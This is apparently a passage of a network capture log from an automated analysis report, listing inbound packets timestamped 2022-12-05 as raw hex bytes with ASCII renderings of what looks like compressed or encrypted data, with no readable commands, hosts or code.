2022-12-05 14:13:35 UTC	41	IN	Data Raw: ed 8b 3a 38 3b 30 60 17 06 55 31 40 92 af d9 81 db 6a 0c a3 c0 10 99 33 98 69 63 ed 2f d9 68 c1 ba 19 1d 3d a6 8a f4 f6 f0 32 4a 13 93 f2 eb 34 17 9b e9 d6 44 7b 83 27 0f 81 46 04 ab 10 94 53 ec 6a 96 e4 7a 00 63 12 d6 ec 51 a7 e5 cc 38 71 05 c5 7d f8 5c 87 d5 b7 90 42 96 dd c7 88 0c 2a 73 5c f0 45 79 4d b4 ed c9 e7 1d 40 b4 82 27 7d ed 96 e5 60 24 49 74 72 7e 90 58 ce fc 92 77 67 01 00 59 e0 8e f9 17 a0 1e c1 1c 25 2b b8 1b bd c3 d8 c3 c4 49 ac 61 10 2f 38 8b ac 34 fb c0 63 b9 5a a5 8b 61 0b e3 de 02 5b 43 9c 5a 8d af 48 98 0f ae 2d 60 eb 51 09 29 10 7f 73 84 f2 8a f5 42 80 8f 95 03 16 a2 b3 0e 15 c8 d9 ee e5 e1 62 85 b3 70 af 73 95 d9 40 d7 a1 86 9a 18 f7 e1 9b b1 02 93 0d 4d d6 76 96 b8 27 76 88 c5 71 c9 12 c2 ea 5a c9 bb 89 2e 45 9b 57 5e 0c 75 ee 85 Data Ascii: :8;0`U1@j3ic/h=2J4D{'FSjzcQ8q}\B*s\EyM@'}`$Itr~XwgY%+Ia/84cZa[CZH-`Q)sBbps@Mv'vqZ.EW^u
2022-12-05 14:13:35 UTC	42	IN	Data Raw: da e4 9d ba ad 53 23 4f b2 51 d5 d7 83 29 98 6b 75 e2 0a 1f 14 3f ac ab 41 07 5a 13 98 f7 fd f1 f8 27 67 43 f4 34 75 3b 03 ff 14 a3 1f 60 9f bf 4c f4 6c 96 2f 5b f4 ac cf 05 46 32 cb 1c d6 84 f7 96 39 37 39 c9 d7 6a 17 6d 03 f9 14 1b 9c 29 cb 49 06 54 ba 36 dd 48 72 81 a0 5a b5 4b 4d 83 48 a2 de bd 8e 23 76 bf 3d 8f 29 16 04 47 57 a5 5b 78 2b f5 3f c5 57 e0 2b 9a 9f 9e 8d 96 e8 8a c4 4b 29 2a 2a f7 b8 59 b8 cc 1c 58 86 6b 84 c8 d5 66 f0 db ea 56 50 62 9e 2a a4 96 a9 16 fc 75 8b c0 4e b3 88 b2 ee 7b 26 2e 69 65 5e 19 98 d6 8d f1 8a cf 7e 9a 26 15 98 d9 45 16 4b f7 cf 4a 0a 9e 20 7a 9f 58 89 43 47 2e b2 b4 a7 3c 25 74 92 ef 65 48 83 5e 9b c9 ea 05 85 25 46 46 02 3b 43 b2 13 ca 5d e2 51 30 a8 81 b2 a1 b4 53 2b 33 62 ed fd d4 20 2d 9e 80 2b 99 d7 aa ab c3 95 Data Ascii: S#OQ)ku?AZ'gC4u;`Ll/[F2979jm)IT6HrZKMH#v=)GW[x+?W+K)*YXkfVPbuN{&.ie^~&EKJ zXCG.<%teH^%FF;C]Q0S+3b -+
2022-12-05 14:13:35 UTC	43	IN	Data Raw: a4 93 4d 83 80 02 89 41 29 65 7a f4 74 7e 81 49 78 f4 99 c9 fc 87 65 51 9e 94 67 5b 01 c6 88 6b 7b 93 51 11 81 51 64 c9 10 28 c9 d4 a0 95 fd 51 a5 73 aa 18 ab 17 26 fa b3 50 90 fd e4 15 69 b7 f2 82 c5 1e b6 06 92 56 30 d8 2a 19 ea 2c 1e 5e 1e a1 94 d7 fd b4 85 a9 2a ee 97 07 c5 e9 59 94 91 09 43 66 c7 79 86 fc 8f 15 b5 ac 60 80 0e 62 00 00 09 c2 1a 9c 7f 2a 64 a9 e2 d7 f0 70 8a 13 b2 b0 bf aa 3f a2 13 1e d8 80 5c 60 57 30 30 44 46 95 01 71 c9 aa 60 53 3b fc 95 a1 1a 9c 05 3d 28 16 7b fd 1f cb 5d 71 69 c5 58 f5 be 97 0d 92 4e a2 0d a1 f5 af 7b ba 2a 2f 75 44 62 81 67 07 ab fa 40 d0 ee 13 a4 72 38 49 10 b9 07 2d e1 7f a6 5a eb a4 3b 00 a7 e4 8b d3 c6 0f d3 e9 32 9c f6 05 f3 8f bc 40 b2 68 d2 44 62 43 21 0a 72 de 8a ed 70 84 28 27 02 2f 26 12 de f8 a5 52 3d Data Ascii: MA)ezt~IxeQg[k{QQd(Qs&PiV0,^YCfy`bdp?\`W00DFq`S;=({]qiXN{/uDbg@r8I-Z;2@hDbC!rp('/&R=
2022-12-05 14:13:35 UTC	45	IN	Data Raw: 44 73 5a 29 51 42 7d 89 a5 36 64 9b e8 10 c3 48 f6 73 56 b3 1c 61 21 b4 74 50 1a e4 f3 14 d1 a4 cd 04 19 c1 d6 d8 00 d0 60 ad d7 35 57 a7 c0 91 d9 4d f1 4a 27 39 01 00 1d c6 c0 8f 86 ff a8 e2 19 c7 23 5b fd a2 02 c3 a1 10 85 55 05 86 e6 72 d4 2c 79 f7 80 a4 bd e6 6c a6 67 bc 59 54 cd 77 32 5f 1a ea dd f7 fa 35 95 e4 82 46 5e 33 13 4c c6 89 80 98 41 e0 78 22 cf 61 a1 64 a0 5d f2 e4 ea d2 07 0d e7 f6 9f dd 36 66 b3 7f f3 65 ec b0 fa 42 f5 11 19 df 04 cc e1 a8 82 d7 12 ab 39 7c a7 ed a5 52 06 a0 10 90 4c 4a 97 0a 5b 62 58 34 8d 84 92 63 ff 2d 96 49 97 ac d6 a2 e3 63 8c 7a 4e e0 7b bb 6e 3d 2d de 40 fd f7 fd 8f 93 74 2a e8 53 f0 da e6 0a a3 fc b6 9b 2e 98 27 d5 e4 c9 f4 bf fe 0a 6b 68 90 2b db 23 25 31 28 d3 08 9b fa 28 00 37 57 f0 2f 14 37 86 e1 78 c5 9d 8d Data Ascii: DsZ)QB}6dHsVa!tP`5WMJ'9#[Ur,ylgYTw2_5F^3LAx"ad]6feB9\|RLJ[bX4c-IczN{n=-@t*S.'kh+#%1((7W/7x
2022-12-05 14:13:35 UTC	46	IN	Data Raw: 8b 81 1c 67 eb 53 9b 7a c5 87 fc 20 8f 67 64 e5 be e2 af 54 7b a5 e8 49 64 b4 0a 4c e9 a1 6f f7 20 e0 33 91 95 a7 a3 ae 4e 5e 32 47 71 2f a2 36 94 1a e9 89 3a 5e d4 e4 e1 5e 7b a0 26 06 94 73 5b 22 fd 34 a2 85 fa 99 2e 94 2b ac e7 21 19 bf cd 62 e5 a0 fa 0a b6 17 48 e2 12 2f c7 cb b4 a8 02 1b 31 da b5 e6 64 6f 25 10 29 45 c3 35 3f 7a 5a 2f fd cf 18 4f 81 ed f6 33 ea 43 aa 13 41 29 61 9e 84 b7 b3 88 35 43 a5 a3 3f c1 4f 8a e2 58 18 d3 cf 5a 9f b1 65 8f 7c 1d e2 95 7c 70 cd 12 ff d8 f9 75 89 4f 34 ec 9e 62 a2 b1 0e f3 84 3b bd 57 5c e5 96 5c 3f 65 d5 c8 10 10 4a 32 93 6b 10 b6 f7 40 28 e3 54 54 2a 59 51 0f e0 82 6d 26 7a 98 20 97 b6 56 5c 11 98 63 1b 9a d0 91 85 0d f3 0b 93 d3 bc e2 30 18 d4 33 72 7a 11 c3 87 04 d0 a2 43 13 79 3e 60 48 d3 b2 a4 77 7e 3d 20 Data Ascii: gSz gdT{IdLo 3N^2Gq/6:^^{&s["4.+!bH/1do%)E5?zZ/O3CA)a5C?OXZe\|\|puO4b;W\\?eJ2k@(TT*YQm&z V\c03rzCy>`Hw~=
2022-12-05 14:13:35 UTC	47	IN	Data Raw: 82 7d 61 a9 ec 56 df 45 e7 06 2a bb b7 d2 f2 63 e0 07 ea 7b d6 13 9d 96 18 e1 5e fe 4e 48 f5 b1 c1 ab 66 42 9c d4 e4 a5 40 3d f5 30 7e 45 00 78 bc 87 d4 df 3a 9c 7e 31 8d f9 e9 99 cc f3 2b 8f e2 ab 00 a9 75 c2 0e 19 20 32 e8 6c ce 20 6d 04 cf ba af c9 6c 7d 3f 18 d1 37 60 3b 45 59 05 e8 13 1c ab bb 45 f4 48 f9 cc fb f6 da 6b 15 d7 7e 34 e4 5c 82 b6 57 11 c7 a6 48 0e 71 85 64 ae 9c 0e ef 2c 90 8e b4 60 55 bd 27 6c 92 8c f7 22 23 3a be 06 7d ca 05 b5 d2 73 e9 b3 56 cd 0c 74 85 ca a6 97 f4 1a 8a 57 57 df d8 1f 4a e1 4e b0 99 90 81 45 b2 8e 70 67 d6 b9 7a d5 b9 79 8c 28 45 90 6a 05 14 82 1a b2 0a e5 75 55 ba 40 39 21 e7 80 e8 62 6a 70 95 3d b3 db f0 72 f5 f6 cd 2b 66 b3 fa 1f 2a 73 fd 81 31 1d 7d 19 9e d2 02 6a ef 08 c0 d6 1e 0a 8d ec fc 75 04 ad 6e 44 aa 7c Data Ascii: }aVEc{^NHfB@=0~Ex:~1+u 2l ml}?7`;EYEHk~4\WHqd,`U'l"#:}sVtWWJNEpgzy(EjuU@9!bjp=r+fs1}junD\|
2022-12-05 14:13:35 UTC	48	IN	Data Raw: 71 7f 2b 34 b4 c9 1c c8 58 a6 ec 82 3a 60 50 ec ed 13 7d 4a 17 a4 fd f6 a5 56 c5 60 12 75 43 56 62 e1 ff 9e 04 4c 07 3f 76 15 6e c8 1c 46 0d e9 d5 3f 7b 73 30 d8 4b f3 29 56 c3 bf 3d 85 36 0c 2a 4a aa b2 33 23 5e 34 93 f4 1a 1e 5c 18 50 0b c8 f6 ef 33 28 ab af cd de 37 cb 55 7a f3 f1 68 50 45 b7 e3 b9 74 9b ac f3 8c 35 c3 ee 70 6e 90 cc 38 e5 58 1a 27 4b da 9b 9b c5 84 13 fd 6e 41 80 aa 1b 8b 77 1f 5f d8 83 0a 11 8c 64 ab c0 53 e6 85 fe 47 59 1e 52 62 28 90 61 df 21 a5 fc 03 26 60 24 27 d6 3b 1c 4a 4e b7 4a 81 f3 3c b0 95 9c a7 de 1f 47 a3 67 44 a8 56 52 b2 79 f2 21 bf 66 a1 69 3d 36 e9 f4 63 77 d8 7a 44 fc a8 59 bf fc ab 7d 4e e7 04 df 76 7a 0a ec ac 74 9a 8a d6 8e e5 11 68 45 30 54 1a 23 6f c5 e1 b1 51 73 a4 c3 64 a3 71 03 30 bf 1b 8b fe ac 60 37 67 61 Data Ascii: q+4X:`P}JV`uCVbL?vnF?{s0K)V=6*J3#^4\P3(7UzhPEt5pn8X'KnAw_dSGYRb(a!&`$';JNJ<GgDVRy!fi=6cwzDY}NvzthE0T#oQsdq0`7ga
2022-12-05 14:13:35 UTC	50	IN	Data Raw: 21 27 de 7a 35 e2 f8 f1 5b bb 22 08 fa 34 de d5 f0 43 61 f5 29 a3 d8 23 c8 20 bb f6 5f c6 7d a9 51 a3 60 b2 68 63 3a 17 b1 22 81 2e 14 72 4b 28 08 b1 3a 9e 8c 35 d2 e1 bd b8 63 cd fb b9 3d 47 cb 19 b8 85 18 f6 7e e6 ae 8e 72 e5 36 fe 24 7a 8c 61 58 8c 70 66 45 42 c4 1b 84 e0 ac be 6e f0 1b 5c 35 80 92 0d e6 7e 53 5e 9e 10 Data Ascii: !'z5["4Ca)# _}Q`hc:".rK(:5c=G~r6$zaXpfEBn\5~S^
2022-12-05 14:13:35 UTC	50	IN	Data Raw: 9c 48 25 1d 2e 3f 95 06 1b 68 9b ee ea 4e 83 e1 e2 c6 91 cc d0 34 28 38 b6 6d 45 60 c8 ac 58 4d 1a 31 ef f3 ef 2c 48 82 9e bb f4 81 e2 3d 9a e4 f9 81 22 e3 07 8f f0 6d 9d 86 88 98 b8 a0 02 31 64 a1 d1 84 73 c4 d5 79 98 73 f1 17 96 46 5c 74 a0 49 7e cd b3 08 c2 e2 c0 5e 59 24 66 61 28 36 a6 81 83 bf 63 55 af 3c 8d 74 f6 8f 35 34 92 03 e6 b4 50 36 a1 37 9f 32 49 c4 05 0a f6 a8 d1 82 9f 5d c0 b9 a6 88 38 8f b7 8c 07 a6 c8 8f 9a 24 2e 2f ba 90 6c e5 9c cd 43 45 94 d4 bc e2 1a d4 65 f6 4f 08 9a 85 ff c3 ae d2 57 e7 37 bb a0 00 d2 98 2f ad 45 6c 08 ff eb 47 80 72 a9 32 0e 77 82 ad 46 ba 64 71 79 94 2c 08 a1 bc bd 37 c7 97 0b 61 08 f0 0a 29 f5 5a 68 c4 ad 0e c2 d0 17 42 2d 0d a6 01 8c 31 75 cc 22 5f 24 52 0e 2c f4 48 33 19 5d 06 25 15 4a c6 95 98 e0 b8 04 8a ee Data Ascii: H%.?hN4(8mE`XM1,H="m1dsysF\tI~^Y$fa(6cU<t54P672I]8$./lCEeOW7/ElGr2wFdqy,7a)ZhB-1u"_$R,H3]%J
2022-12-05 14:13:35 UTC	51	IN	Data Raw: 1e 81 69 82 7e 8a 0d f6 65 87 d4 77 1c 52 73 95 e8 00 2a 73 92 36 6a 45 23 2e 3a ed 82 44 eb 43 7e 46 01 a0 2c 85 c8 1c d9 ce 70 7d b9 8a 06 fe 36 db e9 8e 65 f6 d8 97 d5 a5 a4 c5 46 5e 21 ba fa 8b 89 5e fa 68 31 7c 1e cc cf 32 dd fc 01 d2 e5 c5 56 42 fa 24 ee 62 11 5f f1 c4 9c 2f 9c d4 4b 7a c9 be b6 ff 41 6d d1 66 6f a1 ee 04 67 0f 17 73 7c 84 e2 ce af 3c 6d e9 89 43 64 af 71 1c 4b 7f 0c 61 24 b1 d8 18 0e 5e 52 95 d8 42 71 97 a7 7c e2 36 20 1d 0d 67 da 8f 46 80 b3 7a 29 cd 80 cf bd 34 1c bc 74 2a d0 ee ed 14 fd d3 fc 40 4a 4a d0 56 74 08 34 85 c1 69 1a e0 78 fb 29 f8 56 ff d0 06 91 0e dd 30 20 23 1e e8 9f 3c 31 db c3 54 09 e2 b9 f8 bd 39 ae cf 1c 8b c6 dc bc f9 29 d9 02 87 4a 63 6d ff 77 56 51 93 3a 98 2a 54 da 56 04 8c b9 6f fa 77 e1 3a 45 e5 d3 44 58 Data Ascii: i~ewRss6jE#.:DC~F,p}6eF^!^h1\|2VB$b_/KzAmfogs\|<mCdqKa$^RBq\|6 gFz)4t@JJVt4ix)V0 #<1T9)JcmwVQ:*TVow:EDX
2022-12-05 14:13:35 UTC	52	IN	Data Raw: 11 3c 41 24 1b f4 60 1d 73 dd 0e 90 70 dc 2a 35 ce 15 e6 5c 8e f9 ee 00 8a cb 3a 10 9f af 67 36 3a fe 10 31 35 53 66 8d bc 41 4f 34 24 f4 38 30 7d ea 62 aa 4a 60 19 58 16 6d 25 02 91 22 e9 9c 08 c7 d2 4e cd b4 61 65 60 53 f8 58 9a 4b a3 d6 7e 68 b0 dd 34 31 32 81 44 82 b1 06 0a 89 6e 2b d4 b6 46 56 dc b5 96 83 e7 20 a7 8f a7 89 90 3a f3 f2 a6 e5 55 4c d3 36 f7 e8 a4 66 d2 8c 4f 58 04 88 c2 9e 93 42 7f 86 8a 26 c0 4f 2b b3 51 36 68 ac 77 f7 ba 4b d3 ff 7b 60 f0 7c da 72 96 86 d3 c2 39 cb 17 9b 8c 07 15 62 60 20 f1 8b 72 81 e0 d7 04 e6 9f 83 16 b0 35 01 89 ac 05 91 90 8f 85 f6 27 92 18 f0 8d 76 b5 7c 39 64 c9 a3 fd 8d 17 33 e3 92 45 52 4d 31 f6 4b 92 40 e2 6f 1f 44 a9 09 ed a0 41 c0 5b 23 6a d0 6c 89 e2 33 90 a1 b7 97 89 06 75 0e 8d 9f c2 3d fa 64 d4 86 cd Data Ascii: <A$`sp*5\:g6:15SfAO4$80}bJ`Xm%"Nae`SXK~h412Dn+FV :UL6fOXB&O+Q6hwK{`\|r9b` r5'v\|9d3ERM1K@oDA[#jl3u=d
2022-12-05 14:13:35 UTC	53	IN	Data Raw: 8b 63 ae 31 86 6e a8 7f c2 34 57 88 b2 7f c8 3a e7 24 cd 00 ec 6d 68 70 8b 1c 08 01 16 42 4d b5 2d 55 e4 76 c8 fa e2 cd 0d d2 72 63 77 2f 12 92 b8 91 b5 e7 53 e6 87 e1 79 88 77 2d b0 ac 7b de e7 92 1b 9c ef 0e ac 36 18 78 2e 2d 0c ef 72 fa 0d 50 89 34 70 fb c4 e0 f8 8a e6 a8 96 6d 93 5e a6 42 b9 b4 cb 5c 99 0d 50 aa 1e bf 04 39 86 72 c9 c1 c6 7f 5e 79 d9 50 e6 b0 e7 e2 e8 f3 b1 a7 2e 99 c1 c6 19 20 3a d0 d8 9b f8 c2 83 83 a2 fa 90 56 52 f3 a8 4d 61 07 84 44 11 1f 11 64 61 d2 a5 de 18 c0 40 71 90 3f f9 7b 9b b4 c7 eb e5 6b 96 bd ad 78 96 e6 38 1f c5 64 e5 f4 23 44 47 3c 3f 33 a2 ec 86 2b 29 81 d2 5f ec 3b f6 45 85 61 5d 17 41 7f ea 36 41 d0 a0 46 44 bd 1f 05 43 0b c6 76 89 2a 8d ef ef 9b 57 af a8 a9 e7 e3 75 dc 14 c5 98 5a 7e 9b f4 fc e6 91 d9 fe 85 e5 93 Data Ascii: c1n4W:$mhpBM-Uvrcw/Syw-{6x.-rP4pm^B\P9r^yP. :VRMaDda@q?{kx8d#DG<?3+)_;Ea]A6AFDCv*WuZ~
2022-12-05 14:13:35 UTC	55	IN	Data Raw: da 1d ab c3 2c 48 ac 35 c3 dd 01 ff fe 7f 73 c8 74 c9 cb fe 7a 7e 74 5f d4 52 a1 60 1a 8c 2f 9f 94 ce 13 d4 ee 53 07 77 c6 f5 da ab 5a 8e 82 99 32 f2 ac 07 71 73 34 2a 86 13 7a c5 39 3c 1e 90 61 c4 23 a1 9e c5 7e ee 51 2f 69 99 17 45 54 b9 8e 60 5c d7 b6 13 b4 80 1c 4c e2 7b 13 e1 55 0a 2f 03 62 ba 7a c4 43 68 18 cf e6 b4 d8 ca dc 28 61 96 42 3b 0e 69 d5 a2 03 a8 8c f3 4e 11 c4 46 8e 73 ae 4e f9 16 7f 39 16 3c 0e 5a cd a3 77 61 a1 4f 2b 8d b0 8d ea 8c 28 37 82 49 8a 48 f3 37 83 6b df 2f 9e a7 cd a2 50 fd 49 34 8a 80 eb 23 f4 d1 04 b2 d0 43 df 0a e1 1e fa d1 d2 6a 4a eb 9a 7c 5e 68 9c 3c c2 29 c0 99 1b 75 06 c8 e7 1e 4e 9a 53 c2 c6 89 eb 28 9c 01 1b 70 28 39 a5 b4 ff 68 58 b8 f3 f9 67 48 5d ba a3 6f fe f0 c9 cd 90 da 32 be 4e 8d 9f 97 99 40 66 1b 73 4e c5 Data Ascii: ,H5stz~t_R`/SwZ2qs4*z9<a#~Q/iET`\L{U/bzCh(aB;iNFsN9<ZwaO+(7IH7k/PI4#CjJ\|^h<)uNS(p(9hXgH]o2N@fsN
2022-12-05 14:13:35 UTC	56	IN	Data Raw: 63 04 b3 88 f1 71 4b 37 6a 64 b4 77 07 42 f6 15 5d 9f 5e 3f d9 48 84 12 7b 4d 18 b1 2a 4c 9d d9 35 aa 42 82 b5 e8 15 db 78 a1 8f a4 84 a1 8f d4 3f 6b cd 09 d1 c0 4e f2 8a 7d ee 9e 51 08 fa bf 0e cf a5 20 e1 cb cd 9f 4b b1 63 97 a4 f7 ab a3 f9 b3 87 40 cf 5c b5 db a5 c0 b6 6e 1f c6 80 b1 04 f4 35 c0 c8 aa 06 1e 66 7e 83 6a c9 84 30 eb b4 13 ce 3f 22 0f 35 4d 79 ba ff 9a 33 db 81 f5 ec 5f a1 b6 e4 63 1a 74 f0 49 cf 06 5e e7 06 d8 31 04 16 84 ef a6 5c 3d 5c 56 66 35 a2 cb 4f bf e8 81 d0 d4 23 9a 93 0f 95 27 65 bd f5 f5 54 2a c0 80 18 e9 7f 39 36 9d 33 b1 9b bc a3 5c ac 56 a6 1e 3c ef ad 04 c1 db 34 88 13 18 ae 7f f5 03 98 10 b6 fd 83 c1 b9 0c 25 5e 01 c1 98 d3 25 4a d9 fb cf ce b0 07 43 3c 98 68 f0 09 5d 92 61 09 fd e6 be 7e 19 08 88 c4 8a a4 97 2e 2d 79 8e Data Ascii: cqK7jdwB]^?H{ML5Bx?kN}Q Kc@\n5f~j0?"5My3_ctI^1\=\Vf5O#'eT963\V<4%^%JC<h]a~.-y
2022-12-05 14:13:35 UTC	57	IN	Data Raw: 04 36 e3 15 72 9c 6e 9b 7b 48 d9 32 10 7a cb 4d 2c a0 40 9c a8 97 e2 72 ec e8 8b 89 95 20 4a eb f2 21 58 37 fe b7 c6 af c4 21 ba 97 31 fb 41 32 0e 53 bf 7e dd 4c ab 3a ef 24 ea 1a 43 e1 1d 2b ee 77 19 c2 4f 5f 34 81 ad 6c ed 8d bc 28 7c c6 d2 b0 ca bf f8 0e c4 17 77 a3 1f 48 9e c0 7c 83 c2 f8 69 48 da 10 96 31 c7 2e f4 31 6c 1f 3c c0 f2 de fd 44 3b 24 38 bf 92 d5 94 5c 9a 96 27 b3 2c c9 65 60 28 c4 d4 df 16 dd 83 b3 d0 82 a5 fa bb 35 aa 59 74 71 c8 1b b0 43 c0 98 f5 0b de 62 3d 51 3b 4b 49 ac e6 e6 ae 71 4f 35 f9 0a 48 1e f3 83 8f 3e b5 47 e5 ed 10 b7 d1 56 f6 e9 91 07 91 f4 23 b5 6e ce 63 b1 ac 80 6d af 28 d2 4d 2b 6f f1 4b 15 fd e7 46 3d 59 9b bf 04 c5 75 e3 fc 10 25 bc 7c 48 90 35 c6 e5 b9 ed 6b 67 15 c4 7e cb 9e 9d 83 ac 07 b8 1c 88 e6 a3 88 33 f3 d0 Data Ascii: 6rn{H2zM,@r J!X7!1A2S~L:$C+wO_4l(\|wH\|iH1.1l<D;$8\',e`(5YtqCb=Q;KIqO5H>GV#ncm(M+oKF=Yu%\|H5kg~3
2022-12-05 14:13:35 UTC	58	IN	Data Raw: b1 d1 86 da f3 75 ce e4 07 95 82 55 ad 6a bc c4 20 f6 82 b2 ed 8e 8f ed f7 21 99 6a 05 c8 ae b7 b0 7f 9f 85 a7 8c 35 fa c6 4a 18 64 2d a1 bb 1f 3c b4 ff 7c 70 9b 30 7f d1 1a cd fb 55 6f 6f 34 61 b1 83 10 9f 15 0a a6 e9 f5 a6 9a e9 f3 fe e2 cb 9c f3 84 1e 1f 77 11 d5 c9 0c 9f 4d 27 34 18 80 49 8b 6a 9e 3f 75 ba a2 0b 49 fa eb 85 c3 ae fd e8 61 24 98 11 2f 33 37 71 a3 89 f2 b2 62 17 a1 c1 f9 5e 8a 0d 3b fb f7 1c c1 61 cf 8b 2f b5 e8 53 f6 d9 92 c2 01 f1 7e 9c cb cb 19 15 9e e2 be 0d 70 75 b1 ea 40 3c df 04 3f cb 93 df 49 2a 43 5c c7 d6 33 05 02 19 7e 6a e9 93 b5 70 a5 6e 23 02 3d b2 3a f9 58 03 bf 44 d8 b6 87 ee 0f 57 5b bc a3 cd 7b e4 73 7d b3 32 48 2c ed 86 51 97 70 4c 73 7b 1b 40 5f 76 93 f9 f6 c3 32 58 40 eb 19 a0 f0 93 18 14 b8 0b cd 1b b5 87 13 1b 08 Data Ascii: uUj !j5Jd-<\|p0Uoo4awM'4Ij?uIa$/37qb^;a/S~pu@<?I*C\3~jpn#=:XDW[{s}2H,QpLs{@_v2X@
2022-12-05 14:13:35 UTC	59	IN	Data Raw: 98 2b 0d 05 64 0a 01 25 1a fd 02 0d 09 d2 fd 7a 76 7b 80 9d 86 2c b6 25 1a 50 25 37 58 5b 46 71 a8 a1 b9 e1 b6 42 da 1d 4a 56 f8 3a 70 54 09 75 97 ab a6 58 13 b0 16 3f eb 76 2c 8b 4c c2 fa f9 95 57 82 57 1f b4 f5 bf b4 ab 35 15 a3 09 1d 93 f8 25 d6 a7 a3 27 40 39 8b 51 41 91 07 7e 9a a8 9b 95 7d 32 26 db 8e b1 05 d4 2a b8 f7 8a e6 fb dc 28 52 62 de 57 9d 4d 79 14 09 75 84 70 2b 4d 57 59 9a ea d5 27 5b 00 02 79 1d c3 21 57 a6 a0 40 80 90 06 55 db 9f 3d 0a f3 7b 8e f5 c4 c2 0f bb 3a e7 ac f9 b3 71 d9 ce 2c f3 10 a5 1d d6 1f 11 67 2c 09 9e 6a 63 f9 05 3e 9e d4 f8 b0 04 d3 ef 01 50 2e ca 44 da ef 50 db 1d 74 ad 2a 59 7e eb 7c f3 9e 63 48 7b ef f6 ba 85 2e b8 f2 15 95 04 f2 3e 41 29 22 73 96 82 50 a5 f7 54 d1 10 bc 3d 2c d5 69 cc 2f 04 3c dc 0a ab fa d2 89 5d Data Ascii: +d%zv{,%P%7X[FqBJV:pTuX?v,LWW5%'@9QA~}2&(RbWMyup+MWY'[y!W@U={:q,g,jc>P.DPtY~\|cH{.>A)"sPT=,i/<]
2022-12-05 14:13:35 UTC	61	IN	Data Raw: 48 44 12 9c 93 40 34 11 70 09 a2 9e 4f 95 14 b4 fe 34 f8 16 ef 15 18 6f 0c e1 f6 ea 0a d2 06 e7 9c 2e 68 68 cb 09 3d e3 9f 44 fb 1d a2 6a a1 14 52 da a8 a2 54 20 10 8e 05 34 2e da 12 50 b7 f6 8e c5 25 56 71 61 af 5f 0b b6 61 6a 2f f3 ff 3a bd 72 23 d4 7f 69 c0 02 f5 00 6a 53 f2 25 5b 5d 56 59 28 23 a9 ab 6c 64 37 43 84 41 46 ed 7e b3 02 f7 24 1f c8 8f 45 a5 f8 14 d9 b8 6d 32 0b b2 88 06 36 6a ab ff e5 a0 21 2e 5b 65 58 4e 02 ed 7d d3 5a 76 2f 8e de 7b 26 c8 fb e9 9d 58 89 8c 46 22 e3 3a e1 c3 1c c1 58 92 50 31 58 17 cf 3b e4 9f 53 44 15 13 5d 50 3f ad 00 88 0e 01 99 60 11 1a 4b 8b 80 bb 64 1e 8d 4b 34 c8 64 4a 18 12 49 a5 87 a3 73 a6 a5 96 34 6c a5 d4 ad 6a 17 2e 37 76 4a c4 a5 35 63 da b8 ad a3 74 28 c5 26 67 b1 3d ad 01 d0 cf c5 fb f9 23 24 48 1b 64 6a Data Ascii: HD@4pO4o.hh=DjRT 4.P%Vqa_aj/:r#ijS%[]VY(#ld7CAF~$Em26j!.[eXN}Zv/{&XF":XP1X;SD]P?`KdK4dJIs4lj.7vJ5ct(&g=#$Hdj
2022-12-05 14:13:35 UTC	62	IN	Data Raw: fe 6b 94 45 b0 02 f4 83 c9 64 67 75 a1 46 90 15 18 99 22 d7 48 8d fd ea 5e ba 6d 39 8e 96 0c 29 44 1c 65 04 a7 aa b8 4e 37 6f 49 67 3f 39 db 4c e5 21 53 ee 61 8a ba 99 dd bc ea e2 17 04 db 1f 7e 61 00 42 70 05 c1 31 a1 fb 6d d6 d1 81 d5 d4 fa cd 71 5a 4a da 7d 7a b4 1d a1 e8 89 9a 69 4e 95 3c c5 2f 42 db f7 cf ed 48 14 fc ec 1b 6a 66 95 ab a0 1c 9c 71 72 6f 3a 33 70 7d 20 00 ab f8 19 f9 cd e3 8b b1 c7 ca 42 4f a5 be 34 76 c0 c8 12 e1 e6 b7 65 91 6b 80 a1 54 49 71 5a 33 f6 40 f6 6d f6 20 75 7f 33 3d 8c 01 56 5b 28 e2 0c f6 e7 de be bb 57 39 b9 3c a9 3c 51 49 14 13 79 d0 9a 91 50 99 80 7c a9 6f 5e 0f 59 f6 76 18 76 32 3a 8a da 0d 32 85 52 c4 ad 92 eb a5 6b 37 40 69 f3 4c f9 2e 02 45 aa 3b 4e a3 ed c2 e1 58 9b b8 fb a2 54 45 31 64 31 f0 41 67 12 db 59 91 44 Data Ascii: kEdguF"H^m9)DeN7oIg?9L!Sa~aBp1mqZJ}ziN</BHjfqro:3p} BO4vekTIqZ3@m u3=V[(W9<<QIyP\|o^Yvv2:2Rk7@iL.E;NXTE1d1AgYD
2022-12-05 14:13:35 UTC	63	IN	Data Raw: 45 49 23 f9 46 f2 6a 0c 53 f6 a3 e7 cd a1 9f ea d7 32 74 25 13 c8 25 bd 4b a2 7b 79 47 e1 02 7d 16 21 1c 1e 5c d1 a9 62 8f 76 d8 d9 fb be 53 ea 92 c5 f3 be ad ce 54 8e e8 1b 72 a4 20 6b a4 30 52 18 5b 04 4c de 18 77 fd c6 ba dd 56 f7 c8 f4 6a 5d 6b 5d 7c d8 e6 64 df 0e ca 03 f9 30 07 9c c7 48 f5 96 67 df e8 fe ba b0 d9 f2 0f 60 1e 74 12 6d 80 6e 1e 8f df 70 8e 5f eb cd a7 4c 9b 75 28 af 6f 0c a2 8e f3 ac 54 3a 17 d9 39 e6 02 52 6c 99 88 3c 55 cf 24 78 28 36 7e 6b 52 e0 a9 2f 58 61 5a d9 8e 57 f6 a7 4b c8 70 46 c9 67 95 95 1b fe e7 b3 b2 e0 f1 1f e9 fb 86 fa e2 b9 89 0f 0a a2 96 c1 d8 81 2a ef 39 4c 81 28 da 6b 9e 4d 09 75 07 1e 50 dd f4 fd 11 ef 6e 50 bc 09 cc a8 2c 51 df 65 e7 5e cd 93 55 48 45 58 26 1f 34 7b cc 50 bb 54 d1 ca 42 70 c7 38 a7 e3 eb e5 3a Data Ascii: EI#FjS2t%%K{yG}!\bvSTr k0R[LwVj]k]\|d0Hg`tmnp_Lu(oT:9Rl<U$x(6~kR/XaZWKpFg*9L(kMuPnP,Qe^UHEX&4{PTBp8:
